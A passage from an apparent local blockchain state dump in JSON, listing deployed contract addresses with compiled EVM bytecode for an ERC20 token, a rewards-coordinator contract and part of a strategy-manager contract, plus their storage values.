60019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033","storage":{}},"0x0b306bf915c4d645ff596e518faf3f9669b97016":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000076a70063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f0000000000000000000000000000000000000000000000000000000065fb788063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000278d00164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c99091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025